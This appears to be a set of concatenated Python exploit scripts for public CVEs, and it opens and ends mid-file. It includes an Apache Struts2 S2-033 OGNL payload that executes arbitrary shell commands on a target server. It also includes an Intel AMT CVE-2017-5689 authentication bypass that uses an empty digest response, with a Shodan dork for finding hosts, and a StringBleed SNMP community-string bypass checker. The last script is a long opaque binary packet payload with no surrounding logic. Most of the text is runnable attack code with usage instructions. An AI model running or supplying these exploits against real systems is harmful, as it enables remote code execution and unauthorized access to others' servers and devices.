code = "#{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code += "#{var_a}.print(#parameters.{var_b}[0]),"
code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two})),"
code += "#{var_a}.print(#parameters.{var_b}[0]),"
code += "#{var_a}.close()"
payload = generate_rce_payload(code.format(
var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two
))
url = url + "/" + payload
resp = requests.post(url, data={ var_b: flag }, timeout=8)
vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum)
if resp and resp.status_code == 200 and vul_flag in resp.text:
return True, resp.text
return False, ''
def exploit(url, cmd):
'''exploit url with apache struts2 S2-033.
'''
var_a = rand_text_alpha(4)
var_b = rand_text_alpha(4) # cmd
code = "#{var_a}=new sun.misc.BASE64Decoder(),"
# code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))" # Error 500
code += "#wr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code += "#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))),"
code += "#wr.println(#rs),#wr.flush(),#wr.close()"
payload = generate_rce_payload(code.format(
var_a=var_a, var_b=var_b
))
url = url + "/" + payload
requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8)
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] python {} <url> <cmd>".format(sys.argv[0]))
sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
print(check(url))
exploit(url, cmd)
## References
# 1. https://github.com/rapid7/metasploit-framework/pull/6945
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: Nixawk
# CVE-2017-5689 = {
# dork="Server: Intel(R) Active Management Technology" port:"16992",
# ports=[
# 623,
# 664,
# 16992,
# 16993,
# 16994,
# 16995
# ]
# products=[
# Active Management Technology (AMT),
# Intel Standard Manageability (ISM),
# Intel Small Business Technology (SBT)
# ]
# version=[
# 6.x,
# 7.x,
# 8.x,
# 9.x,
# 10.x,
# 11.0,
# 11.5,
# 11.6
# ]
import functools
import requests
import logging
import uuid
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger(__file__)
TIMEOUT = 8
def handle_exception(func):
functools.wraps(func)
def wrapper(*args, **kwds):
try:
return func(*args, **kwds)
except Exception as err:
log.error(err)
return False
return wrapper
def intel_vulnerable_product(server):
status = False
products = [
'Intel(R) Active Management Technology',
'Intel(R) Standard Manageability',
'Intel(R) Small Business Technology',
'AMT'
]
results = map(lambda x: x in server, products)
status = True if (True in results) else False
return status
@handle_exception
def exploit_web_interface(host, port):
status = False
url = "http://{host}:{port}/index.htm".format(host=host, port=port)
headers = {"User-Agent": "Mozilla/5.0"}
httprsp = requests.get(url, headers=headers, timeout=TIMEOUT)
if not intel_vulnerable_product(httprsp.headers['Server']): return status
"""
GET /index.htm HTTP/1.1
Host: 192.168.1.100:16992
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",stale="false",qop="auth"
Content-Type: text/html
Server: Intel(R) Active Management Technology 8.1.40
Content-Length: 689
Connection: close
"""
www_authenticate = httprsp.headers.get('WWW-Authenticate')
www_authenticate = www_authenticate.replace(
'stale="false"',
'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c'
)
headers.update({"Authorization": www_authenticate})
httprsp = requests.get(url, headers=headers, timeout=TIMEOUT)
if not httprsp: return status
if not httprsp.headers: return status
if not intel_vulnerable_product(httprsp.headers['Server']): return status
if httprsp.status_code == 200: status = True
"""
GET /index.htm HTTP/1.1
Host: 192.168.1.100:16992
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.13.0
Authorization: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c,qop="auth"
HTTP/1.1 200 OK
Date: Sat, 6 May 2017 03:24:33 GMT
Server: Intel(R) Active Management Technology 8.1.40
Content-Type: text/html
Transfer-Encoding: chunked
Cache-Control: no cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT
04A9
"""
return status
@handle_exception
def exploit_wsman(host, port):
status = False
url = "http://{host}:{port}/wsman".format(host=host, port=port)
soap = (
'<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tns="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wscat="http://schemas.xmlsoap.org/ws/2005/06/wsmancat" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:wse="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration">'
' <soap:Header>'
' <wsa:To>{url}</wsa:To>'
' <wsa:ReplyTo>'
' <wsa:Address soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address>'
' </wsa:ReplyTo>'
' <wsa:Action soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action>'
' <wsman:MaxEnvelopeSize soap:mustUnderstand="true">51200</wsman:MaxEnvelopeSize>'
' <wsa:MessageID>uuid:{uuid}</wsa:MessageID>'
' <wsman:ResourceURI soap:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity</wsman:ResourceURI>'
' <wsman:SelectorSet>'
' <wsman:Selector Name="InstanceID">AMT FW Core Version</wsman:Selector>'
' </wsman:SelectorSet>'
' <wsman:OperationTimeout>PT60.000S</wsman:OperationTimeout>'
' </soap:Header>'
' <soap:Body />'
'</soap:Envelope>'
).format(url=url, uuid=str(uuid.uuid4()))
headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/soap+xml; charset=UTF-8"}
httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT)
if not intel_vulnerable_product(httprsp.headers['Server']): return status
www_authenticate = httprsp.headers.get('WWW-Authenticate')
www_authenticate = www_authenticate.replace(
'stale="false"',
'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c'
)
headers.update({"Authorization": www_authenticate})
httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT)
if not httprsp: return status
if not httprsp.headers: return status
if not intel_vulnerable_product(httprsp.headers['Server']): return status
if httprsp.status_code == 200: status = True
return status
if __name__ == "__main__":
import sys
if len(sys.argv) != 3:
log.info("[+] Usage: python {} <host> <port>".format(sys.argv[0]))
sys.exit(1)
host, port = sys.argv[1], sys.argv[2]
if exploit_web_interface(host, port) or exploit_wsman(host, port):
log.info("[success] CVE-2017-5689 - {host}:{port}".format(host=host, port=port))
else:
log.info("[failed] CVE-2017-5689 - {host}:{port}".format(host=host, port=port))
## References
# http://thehackernews.com/2017/05/intel-amt-vulnerability.html
# https://www.ssh.com/vulnerability/intel-amt/
# https://www.shodan.io/report/mnAozbpC
# https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf
# https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
#!/usr/bin/python
# -*- coding: utf-8 -*-
# StringBleed - CVE-2017-5135
__author__ = ["Nixawk"]
__funcs__ = [
'generate_snmp_communitystr',
'generate_snmp_proto_payload',
'send_snmp_request',
'read_snmp_communitystr',
'read_snmp_varbindstr',
'snmp_login',
'snmp_stringbleed'
]
import struct
import uuid
import socket
import time
import logging
import contextlib
logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__file__)
def generate_snmp_communitystr():
return str(uuid.uuid4())
def generate_snmp_proto_payload(community):
"""Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0]
For example, suppose one wanted to identify an instance of the
variable sysDescr The object class for sysDescr is:
iso org dod internet mgmt mib system sysDescr
1 3 6 1 2 1 1 1
"""
# SNMPv1 specifies five core protocol data units (PDUs).
# All SNMP PDUs are constructed as follows:
# ---------------------
# | IP header |
# ---------------------
# | UDP header |
# --------------------- -------|
# | version | |
# | community | |
# | PDU-type | |
# | request-id | |---- SNMP
# | error-status | |
# | error-index | |
# | variable bindings | |
# --------------------- -------|
#
# The seven SNMP protocol data unit (PDU) types are as follows:
# GetRequest
# SetRequest
# GetNextRequest
# GetBulkRequest
# Response
# Trap
# InformRequest
# SNMPv1 Message Header
# SNMPv1 Trap Message Hander
# https://tools.ietf.org/html/rfc1592
# +-----------------------------------------------------------------+
# | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0 |
# +---------------+----------------+--------------------------------+
# | OFFSET | VALUE | FIELD |
# +---------------+----------------+--------------------------------+
# | 0 | 0x30 | ASN.1 header |
# +---------------+----------------+--------------------------------+
# | 1 | 37 + len | PDU_length, see formula below |
# +---------------+----------------+--------------------------------+
# | 2 | 0x02 0x01 0x00 | SNMP version: |
# | | | (integer,length=1,value=0) |
# +---------------+----------------+--------------------------------+
# | 5 | 0x04 | community name (string) |
# +---------------+----------------+--------------------------------+
# | 6 | len | length of community name |
# +---------------+----------------+--------------------------------+
# | 7 | community name | varies |
# +---------------+----------------+--------------------------------+
# | 7 + len | 0xa0 0x1c | SNMP GET request: |
# | | | request_type=0xa0,length=0x1c |
# +---------------+----------------+--------------------------------+
# | 7 + len + 2 | 0x02 0x01 0x01 | SNMP request ID: |
# | | | integer,length=1,ID=1 |
# +---------------+----------------+--------------------------------+
# | 7 + len + 5 | 0x02 0x01 0x00 | SNMP error status: |
# | | | integer,length=1,error=0 |
# +---------------+----------------+--------------------------------+
# | 7 + len + 8 | 0x02 0x01 0x00 | SNMP index: |
# | | | integer,length=1,index=0 |
# +---------------+----------------+--------------------------------+
# | 7 + len + 11 | 0x30 0x11 | varBind list, length=0x11 |
# +---------------+----------------+--------------------------------+
# | 7 + len + 13 | 0x30 0x0f | varBind, length=0x0f |
# +---------------+----------------+--------------------------------+
# | 7 + len + 15 | 0x06 0x0b | Object ID, length=0x0b |
# +---------------+----------------+--------------------------------+
# | 7 + len + 17 | 0x2b 0x06 0x01 | Object-ID: |
# | | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1 |
# | | 0x02 0x01 0x01 | Object-instance: 0 |
# | | 0x01 0x00 | |
# +---------------+----------------+--------------------------------+
# | 7 + len + 28 | 0x05 0x00 | null value, length=0 |
# +---------------+----------------+--------------------------------+
# | NOTE: Formula to calculate "PDU_length": |
# | |
# | PDU_length = length of version field and string tag (4 bytes)|
# | + length of community length field (1 byte) |
# | + length of community name (depends...) |
# | + length of SNMP GET request (32 bytes) |
# | |
# | = 37 + length of community name |
# +-----------------------------------------------------------------+
snmp_GetNextRequest = [
b"\x30", # ASN.1 Header
b"\x29", # PDU length
b"\x02\x01\x00", # SNMP Version
b"\x04", # Community Name (string)
chr(len(community)), # Community Length
community, # Community String
b"\xa1\x19", # PDU Type - GetNextRequest
b"\x02\x04",
struct.pack("<i", int(time.time())), # Request ID
b"\x02\x01\x00", # Error Status (Type)
b"\x02\x01\x00", # Error Index
b"\x30", # Variable Type (Sequence)
b"\x0b", # Length
b"\x30", # Variable Type (Sequence)
b"\x09", # Length
b"\x06", # Variable Type (OID)
b"\x05", # Length
b"\x2b\x06\x01\x02\x01", # Value
b"\x05\x00" # NULL
]
pkt = "".join(snmp_GetNextRequest)
com_length = chr(len(community))
pdu_length = chr(len(pkt) - 2) # community length cost 1 bytes (default)
if com_length > '\x7f':
com_length = '\x81' + com_length
pdu_length = chr(len(pkt) - 1) # community length cost 2 bytes
if pdu_length > '\x7f':
pdu_length = '\x81' + pdu_length
snmp_GetNextRequest[1] = pdu_length
snmp_GetNextRequest[4] = com_length
pkt = b"".join(snmp_GetNextRequest)
return pkt
def send_snmp_request(host, port, community, timeout=6.0):
"""Send snmp request based on UDP.
"""
data = ''
try:
with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client:
snmp_raw = generate_snmp_proto_payload(community)
client.settimeout(timeout)
client.sendto(snmp_raw, (host, port))
data, _ = client.recvfrom(2014)
except Exception as err:
log.error("{} : {} - {}".format(host, port, err))
return data
def read_snmp_communitystr(snmp_response):
"""Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
"""
community_str = ''
if not snmp_response:
return community_str
pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
if ord(pdu_length) > 0x7f:
offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24"
else:
offset = 7 # "\x30\x26\x02\x01\x00\x04\x06"
community_length = snmp_response[offset - 1]
community_str = snmp_response[offset: offset +ord(community_length)]
return community_str
def read_snmp_varbindstr(snmp_response):
"""Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
"""
variable_binding_string = ''
if not snmp_response:
return variable_binding_string
pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
if ord(pdu_length) > 0x7f:
offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24"
else:
offset = 7 # "\x30\x26\x02\x01\x00\x04\x06"
community_length = snmp_response[offset - 1]
pdu_data_offset = offset + ord(community_length)
pdu_data = snmp_response[pdu_data_offset:] # 8 = first snmp 8 bytes
last_pdu = pdu_data.split("\x00")[-1]
# if data > 127 (0x7f), variable-bindings length: 3 bytes
# if data < 127 (0x7f), variable-bindings length: 2 bytes
last_pdu_length = ord(last_pdu[1])
if last_pdu_length > 0x7f:
variable_binding_string = last_pdu[3:]
else:
variable_binding_string = last_pdu[2:]
return variable_binding_string
def snmp_login(host, port, community):
"""login snmp service with SNMPv1 community string.
"""
login_status = False
try:
resp_community = read_snmp_communitystr(
send_snmp_request(host, int(port), community)
)
if (resp_community == community):
login_status = True
except Exception as err:
log.error(err)
return login_status
def snmp_stringbleed(host, port, community):
"""Test againsts Snmp StringBleed CVE-2017-5135.
"""
stringbleed_status = False
try:
resp_varbindstr = read_snmp_varbindstr(
send_snmp_request(host, int(port), community)
)
if resp_varbindstr: stringbleed_status = True
except Exception as err:
log.error(err)
return stringbleed_status
if __name__ == '__main__':
import sys
if len(sys.argv) != 4:
log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0]))
sys.exit(1)
host = sys.argv[1]
port = sys.argv[2]
community = sys.argv[3]
if snmp_login(host, int(port), community):
log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community))
else:
log.info("{}:{} - [{}] snmp login failed.".format(host, port, community))
if snmp_stringbleed(host, int(port), community):
log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community))
else:
log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community))
## References
# https://tools.ietf.org/html/rfc1157
# http://stackoverflow.com/questions/22998212/decode-snmp-pdus-where-to-start
# http://www.net-snmp.org/
# https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
# https://wiki.wireshark.org/SNMP
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb648643(v=vs.85).aspx
# http://cs.uccs.edu/~cs522/studentproj/projF2004/jrreese/doc/SNMP.doc
# https://github.com/exhuma/puresnmp/blob/be1267bb792be0a5bdf57b0748354d2d3c7f9fb0/puresnmp/pdu.py
#!/usr/bin/python
# -*- coding: utf8 -*-
import socket
from scapy.all import *
# ---------------------------
# Requirements:
# $ sudo pip install scapy
# ---------------------------
conf.verb = 0
RCVSIZE = 2548
TIMEOUT = 6
payload = '>5\xc7\x07)\xdf\xed\xef\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x02'
payload += '\x00\x00\x00\x00\x00\x00\x00\t\xe0\x00\x00\t\xc4\x00\x00\x00\x01'
payload += '\x00\x00\x00\x01\x00\x00\t\xb8\x01\x01\x04\x01.\xbf\x19<\x00\x00'
payload += '\t\xac\x01\x01\x00\x00\x80\x01\x00\x06\x80\x0b\x00\x01\x00\x0c\x00'
payload += '\x04\x00 \xc4\x9b\x80\x02\x00\x02\x80\x04\x00\x01\x00\x06\t\x84'
payload += '\xaf\xe30\x12w\x0b\xe2\xaa\xe1\xe9D\xb3F\x07mZ\x8b'
payload += '\x16N\xc1c\x1f&\x81\xd2\xd5\xa3\x03\x1b\xf6\x83\x04'
payload += '\xa2\xbe\\y\x8e\xd0\xcc\xc1VRWh\xdf"\x0f\xfeXI\xbd#\xfc'
payload += '\x99\xab:\xfa\x04\xbeM\x8a\xc4N\x1d\x9f\xc07m\xfaD\xaf\xc8'
payload += '\xba\xd2\t\xcc.\xff Zw\xcf\xa4K\x92\xea\xf7Hl\x1e&\xc9\xb8R'
payload += '\x1c\xb9\x9b\x8c~\xa2TkZ\t\xf1\n\xb0P/\xc4/c<\x9f\x85\x15'
payload += '@\xfbC\x1d\\\xd8,\x10c\x88\x10p\xe8\x0e\xab\xbd\x95+\x02'
payload += '\xf0X\xaer\x9fY\xa5\xff\xe2T\t\xbe\x86_\xde\x10\x8dB\xe9'
payload += '\x19sZ\x99_e\xa0\xdf$2}^\xb9\xefc\xbd\x18U\xaeA<\xef\xc6'
payload += 'n`\xe8\x8d?\xa7y\xe9\xa3\xc3\xb5\x9a{:\xb9s\x08;X\x0fx\xa0'
payload += '.\x978\x80W\xe9\xd8F\xa6 \xa5\xae\x9bx\x12\xcf\xe4\xcb\xe0'
payload += '\x17\xeeT.\x81~\xb4\x0c\xcf\xcf7\x08\xce{\xd0?\xc57\xcfM>'
payload += '\x99$*\xde\xa2;\xe2\n\xe4\xb8\xeb3B\x06\xb5\xab\xc3A\xe62N'
payload += '\xb4B\xabY\x1a\x08\xa5mb\x91\xda\xd73\x8e\xbd\x07\xea\xf3\xbf'
payload += '\x1c\xce\x89\n{UX\xd5W\x91M\x17\xe7\xa4\xdf~\x9dH\x83\xab\x92'
payload += '\xfciJ\x8e\xe3k\x8a\xd3\xd1*\x81.\x99\x03S;8\xb4SE\xd2.S/\xc5'
payload += '\x87\xa1\x11$\xfd\xa6\xf0\x1e\xfe\x9f\'B\x87\x00Z\x88b"\x1ceq'
payload += '\xdb\t\x81\xb7\xef\xf6\xb3n\xc6 \x83\xa3\xea\x0b;\xba\xe1\x81'
payload += '\x07\x91\xac\x11\x87\x9a\xc08\xd2E\xc2PfA\xadW6\xd3\x12\xebeI'
payload += '\xff\xef\xf0\x834 \x90\xa0\xb1\xf0A\x8d\xec!ZN:\x98\x1a\xecD'
payload += '\xaa\x06.\x17X\xa4M\xaf\xcc\n\xf5\xf2\xc6\xe3-\xedHWY\xac\x12'
payload += 'P\x80\x8a\xf5\xf8\xf7y\xc8\xfe\xa4\x9d\xab\x16O\x8f\xc2\xdfu'
payload += '\x15s\xae\xca[\xd7\xf3/\x88\n_\x17\x82RC\x08l\x97\xb7\xf3\xef'
payload += '\xfd[\xe3P\x1c\xb4\x19\x17\x7f\xc4\xcd$\t1n\xc0l\xeb\xc2~'
payload += '\xd6\xb1\xfcs\xd9\x0c\xfc\x03'
payload += '\x86\xf1\xc4\xef\x90(\x9d\xf04\xd2\x98k\x0fM@k\xf2\xef\x16'
payload += '\xbf8\x81\xe2\xf8k[d\xac\'\x93\x7fnZ\x9dJ\xa8\xbaIM\x1d>'
payload += '\xe6L\xc3\xaeD\x08\xf6\x83\xb8\xc7ao&\x97\x13\xb1\xd3,&\xc9'
payload += '\xc1\xa0\xb5\xbai\xa8qpE\xc7`\x03\x8a$\xb0E\x8e\x8aM\x1a\x07'
payload += '\x9a*\x8a]-\x90\x0c\xd7\xa8+\x8bIbe\xba\tr_Bu\xda\xe5\xd4MrYqN'
payload += '\xdeg"L-@\xc3\nT\x86\xd8C\xc8\n\x03\xec\xab\xfb\xbf\xf3i4'
payload += '\xb0\x85\xa5\x97\xbc\xdeA'
payload += '\xf9\xeb\xb8D\xcfF\x8f\x93[=b\x8d\xba\xeb\xeec\xf8\x99\x02'
payload += 'L#"u\xb1\xc0f\xa4\x11\x9f%\xfc\x8bC\xbcY\x98r\xb7\x880\xa3'
payload += '\n2yl+\x8d\x9a\xff\xf7\x04\x18\xd5\xc1j\xbb\tot\xb7s}\xbb'
payload += '\x10L\xff;\x1c\xf1\xa10\xfa\xc2e7"\xdf\xd3\x9d\xe4\xa9\xfd'
payload += '\xf6A\xee\xb2\xb02=J\xfb\xcf\xebT\xa8\xc0\x1et\x1cz|\xde'
payload += '\x12>\xed\xc3\x93\xeb\xd2{\xf0<\x1c\xff\x8fg\xfb\x8f\xd7'
payload += '#4I\x8dK\xa9iu\xf4\xd0\xb0u\xd2\xb8'
payload += '\x0c\xe6U\xba\xe8\xcc,\x06\xbf\x93q;F;\xae<\x1d][\xba'
payload += '[\x10\x06\x97\x15y\x02\x1f\xe1<\xff Y\xfa\xb2\x0c\xbdb'
payload += '\nm\x81\xb2\x99\xf5\\!\xe63\xa6\x13e\xf3\xa1u\x117n\x8cw'
payload += '\n\x97\x81\xbe\xf5\x82\xcc\xdb\xbf\x0cB\xc9\x08b\xb5\x9dGt'
payload += '\xff\xd0\xbb\xf3\'6\xdbZ!\xe9\x99\xc3\x972i\x98\xf4\xfb\xef'
payload += '\xf7Q\xee\xe8\xa5\xf0\xd4\xa91PLS\xb1-\x0f<~\xc1\xbe\x9d\x85'
payload += '\xe31\x1a\x83,=\xa5\x94\x16\x00tq\xa9f'
payload += '\x05\xcal*\x9f\xd6\xec\xb9&\xc9}\xbd\x84\xdf\xd5\xd9\x10\xbd'
payload += '\x11\xe0|R\xef\x89\x98\x85d3F\x11\xc4D\x12\x02:\xaby\xf5\xcc'
payload += '\xaa\x17\x0b\xffm8\x88\x07Ym\xd0{\xcaE.,t9\x11\xa2\xf2L\x1e'
payload += '\x06\x8aY\x96\\K\x9c\xf87\xd05k\x03\x9c\x00\xda/\xc7\xa3\x10y'
payload += '\x1a\x80\x05\xde\xc8\x06:/\x08\xc3?\x15\xe9\x85\x97V\xb0\x80^'
payload += '\xbeT\x7f\xb7\x08V\x9f:\xfa~\x0bb\xdf\x8236\xfc\xe8\xf8\xb4N'
payload += '\x886\xdc\x94\x952'
payload += '\x12\x97s\xfdn\xee0\x10\xaeg\xc9\xfb\xe0\xf9!\xd6j\x8c\xe2'
payload += '\xbd\xf4\xc21\xca\x89t\x18\x03:\xc7(B!\xcfa\x08\xcc \x8c'
payload += '\x12\xa2\n\xeb\x875\xe2~\xe95\xacA\xa2\xc3\xd6W\x1c\xcf'
payload += '\'o\xacZxv\xac\x88"\xb5w\x02\xae\x8b-\x16-p\xdezd\xbec['
payload += '\xc7n\x12~QA\xc0\xe6\x9dQ\'\xf0\xe0"\xb1::\xfe\xd8$\xd1'
payload += '\x8bSa\x84\x8d\x0c\xd24g\xe3\xfe\x8d\xe4\x01\xd2c\x08\xda'
payload += '`Y 5\n\xf9\x08\xcc#\x80!\x9b\xb4^\xcbu\x02'
payload += '\xd9g\x00\x0f\xbcy\xe1\xf4\xf0OD\x7f\xe4\x96\xe5J\xb6\x14'
payload += '\xa8j\xce\x1b\x06\xf3\x13V-\x07\x9b\xe9,\xe3J\xb8\'\xf0U~'
payload += '\xd2p\xde;}\xf6NY\xfa\'\x8e\x1a\t\xfc\x89\xe3\x07\xdc\x06'
payload += '\xc10\xef\xd61\x03\x05=s\x9b\x90\x1eR\x91\xa8\xb1\xa2\x15)'
payload += '\x9bj=\x881\x03@Ck\xad\x045\x94\n\x83W@\xcdeD\xe1\x8dX\xf2U'
payload += '{\xa2\xd8\xbb\x04ogfE\xe0s\x9az\x08\xf12 \xb9\x06\xeb]\x19'
payload += '\x1aW\xb6ju\x11\x1fn\xdbC\x84\x1e'
payload += '\xea -\xba\x8f\xd0\xa9\t\xf1X\xcd\x13\xe1e\xd4\x98\x93!)xb'
payload += '\xff\xd5\x90\xcfB|\xce\x16"\x0e\x89$L\x9e$\xb1\xf0&\xe7\xe9'
payload += '\x1b\xaa@\xd2K\x97\xc3\xf0\x0b\xed\xd5p\xef\xa8\x04\xa2\x9a&'
payload += '\xc0\x01\x8d\x9d$c\xf7"\xc6u\x18\x030+\xbeC\xce\xab\xc1\xee'
payload += '\x1c\xe2\x11C;\x0b%\xcb\x99\xd1\xbc\xe6;\x86BB\x1a\x98\x02'
payload += '\xe9\xf6P\x98+s\xe9\xd3i\x04!\xdd\xa1\xd1\xc1\xedY\x07\xf0'
payload += '\n\xc4\'\xde:Ai\x9d/\x19p\x91'
payload += '\xc5\\?v}\xdd\x91\x888?\xaa\xc3\x0c\xc6\xcf\xe7\xf3\xc6d'
payload += '\xf4\x08\n\xa4U\xaf\n\x04\xd9/\xec\xcb\xe4\x98\x99\xb7\x1e'
payload += '\xa7/\x85\xdf\xa2M\x89~\x08\xfd\x08\xc7\xf3\xa6\xc0*rK=\xad'
payload += '\xa5\xe6\\\x08)aZq\x97\xbf\xe9\x9b\xd0\tV\x9d\xc2\x19\x92'
payload += '\xf1m\xf8\xdcu\xe2\xe8\xd2\xd7\xdb\xd9{\x0c\xb2\xbd\xed'
payload += '\x1fj\t\xcc&\x9c\x87\x9cs:\xd1\xbe\x88\xdb\x18\xce\x0b'
payload += 'f&\xf6q\xd06n\xe6\xc5Q\xa4i9Bp\x80\xe5$\xc9'
payload += '\xf8-\xe8\xce\xf1q\xd5A\x89\xe41\x8a\xf8\xa5Q\xe2\xf0\xb3'
payload += 'ho-\xfc\x11\x12\x1btD\x190\xc0\x16@>\x0f\x9e\x08rT^\xdf'
payload += '\xd9z6}!\xb3k9\x97y\x97\x9a\xd8\xcd7\x17\xc5\xbd\xe4\xa2'
payload += '=&2\x9f1\xa0\x9f?\x8e\xfb\xf2\x07\ti\xc6\x05\xc9\xfa\xf8M'
payload += '\xa3\xe6\x0e\xaeN\xc5:-\xa4\x8aI\x1bNo\xb5\xedN\x8c\xa9'
payload += '\xda \x18\x8a\x18\xd2(\xc3\x97\x15\xe9]\x9a\x85\xaay\x82'
payload += '0\xa4N=\xb5\xaa0A\x81\xed\xea]A\xa6Pu\x06\x18'
payload += '\x83\x9c\x91\x86\xc6\x90\xc3<\xb6F\n\xe3\xfd\xdf\x0e\x17'
payload += '\x1f$y\xd5\xb6\xb6\x9e{\x00~/L\xae\x10\x9fDo\xbf[KF\xd2*'
payload += '\x90sa)\x92M\x00\x9f\x13\xb8V\x811\xa7\xe17gFRh"@zR=\xf3'
payload += '\x83\x94\x9d_\x83Ax\x01I\xce\x99P\x11\x11@\x8b\xc7\xbc\x94'
payload += 'd\xae\xe3r\xc7]\xc5m\xc7J\xa1\xb7f\xba%\xb9G\xe0+C\xc5\xa2'
payload += '\x9e\xe5p\xb6\x7f\x0b\xa3 L\xa7\xd7\nf\xaa\x19\xe8\xe1&jT'
payload += '\x89\xfcv\t\xd4\n\xec\xf5\x8b\xc9\x04\xb6'
payload += '\x1b\x1c\n\x83\x11=: \xf3\xa7z \x13\xcf\x96\x8a\xb2\x9bk'
payload += '\x04\xb7\x86\xea\x99\x05\x043\xe5_J\xc9bh\xf1\xadE\xe8'
payload += '\x13O\xf4\xfbx\x98\x95\xef\x86B\xac\x0b\xac-\xbb\x82\xfav'
payload += '\xf5\xa1\xbe]B\xa5\xd6\'\xb8]6\xc7\tXW\xc4C\x97\xa2\n\x8c'
payload += '\x02\x89\xc3h`(\x05\x9d_\xb9\xf99\xbf\x1bJ<\x83\x02\xe9'
payload += '\x84\x83\xc7K\x9e\xcf\xaf\xf8r\xd2\xf1!\xc8\x0f\x862'
payload += '\\\x99@OK\xb5TL\x03d\x92\x81\xb5S5+\xec\x0e\x96\x8f'
payload += '\x08\xf6I[PP\xd0\x89\n\xb5\xe5\x17\xbd\x8d\xbd\x86\xd3'
payload += '\nZ\xfa\xc7\xac\xa5\x9d\x7f8\x91\xc8\xcd\x93K\x84\x1d'
payload += '\x03\t\xd8i\xf1Z7i\xb3\x0eQ\xe1<\x1a\xac\xd7\xd5\xc3'
payload += '\x1fv\xd7K\xe9\xa5j\xba\x15\xe9hN]\xb0\xb0\xcf3\x0e'
payload += '\xc6\xd7U\x8d$0a\x8f\xff\xd4X\xdb(%\x06\xbf\x9e\x8c='
payload += '\xf2C\xba\x80J\xbdU8\xafpL\xb8\x9e\xd5\x94\xca\xc9\xf2'
payload += '\xda\x10H\x19\xf2\xcc\xae\x04\xe1t\\1\xbc\xa3\x96\xaa\xd6\x04{\xe8'
payload += '\xca;\xc3\xce\xa2{\xb4\x9b\x15c&\xe6\xe31v\x8f\x9c \xdfj_\xa7'
payload += '\nT\xae\x06m\x8a\xe4\xbb!p\xb5]\xfb\xdf\xa3K\xc7k\xc66\xa7'
payload += '\x19L\xe4\xcc\x99\x04,8*\xbf\xf9\x83\x80`S\xb9\x9d\x1d'
payload += '\xcaI\xca.{\\\x9b\x1e\xb8r\x93\x8b\x08\xf9=*T\x80\xb8a'
payload += '\x9aq(\xf2oq{KCs\xdc\xcdN\x1c\x87\xfalq\xc5\x82\xf8\x89'
payload += '\x13kS\x00\xf3\x9a\xe4\xbaC\xc0\xc2T}\x86\x85l\xe4B\x95'
payload += '\xb7ru\x86\xf5\x1e}j5\xe2\xe9\xfeG\x16\x8c\x1c'
